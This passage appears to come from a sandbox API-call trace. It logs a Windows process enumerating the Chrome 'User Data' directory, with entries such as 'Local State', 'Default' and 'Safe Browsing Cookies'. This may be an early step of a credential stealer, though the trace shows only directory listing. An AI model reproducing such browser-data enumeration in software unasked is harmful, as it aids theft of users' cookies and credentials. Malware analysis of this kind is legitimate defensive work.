ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0179.090] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0179.090] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a8a90d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x181b8ac2, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x181b8ac2, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~2.PMA")) returned 1 [0179.090] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a31767e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0179.090] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda42988, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0xbda42988, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0xbda42988, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x6cec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US-7-1.bdic", cAlternateFileName="EN-US-~1.BDI")) returned 1 [0179.090] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0179.090] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5113f4c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a1c3f11, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a1d9e89, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x1f439, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2de7be03, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x2de7be03, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing", cAlternateFileName="SAFEBR~1")) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89703bc7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89703bc7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x8e328d54, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAD104~1")) returned 1 [0179.091] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89703bc7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89703bc7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x8e34ef7e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAA614~1")) returned 1 [0179.092] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89075481, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89075481, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x895d2885, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SA1DA3~1")) returned 1 [0179.092] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89075481, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89075481, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x895f8ae9, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAE914~1")) returned 1 [0179.092] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0179.092] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Subresource Filter", cAlternateFileName="SUBRES~1")) returned 1 [0179.093] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0179.093] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0179.093] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0179.093] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.093] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0179.093] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.094] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.094] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52059d83, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x52059d83, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x52059d83, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x4578, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificate Revocation Lists", cAlternateFileName="CERTIF~2")) returned 1 [0179.094] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0179.094] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0179.094] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a8a90d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x181b8ac2, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x181b8ac2, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~2.PMA")) returned 1 [0179.095] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a31767e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0179.095] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda42988, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0xbda42988, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0xbda42988, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x6cec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US-7-1.bdic", cAlternateFileName="EN-US-~1.BDI")) returned 1 [0179.095] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0179.095] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5113f4c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0179.095] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a1c3f11, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a1d9e89, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x1f439, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0179.096] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0179.096] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2de7be03, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x2de7be03, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0179.096] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0179.096] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing", cAlternateFileName="SAFEBR~1")) returned 1 [0179.096] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89703bc7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89703bc7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x8e328d54, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAD104~1")) returned 1 [0179.096] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89703bc7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89703bc7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x8e34ef7e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAA614~1")) returned 1 [0179.096] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89075481, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89075481, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x895d2885, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SA1DA3~1")) returned 1 [0179.097] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89075481, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89075481, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x895f8ae9, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAE914~1")) returned 1 [0179.097] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0179.097] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Subresource Filter", cAlternateFileName="SUBRES~1")) returned 1 [0179.097] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0179.097] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0179.097] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.098] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpFilePart=0x0) returned 0x4d [0179.098] SetThreadErrorMode 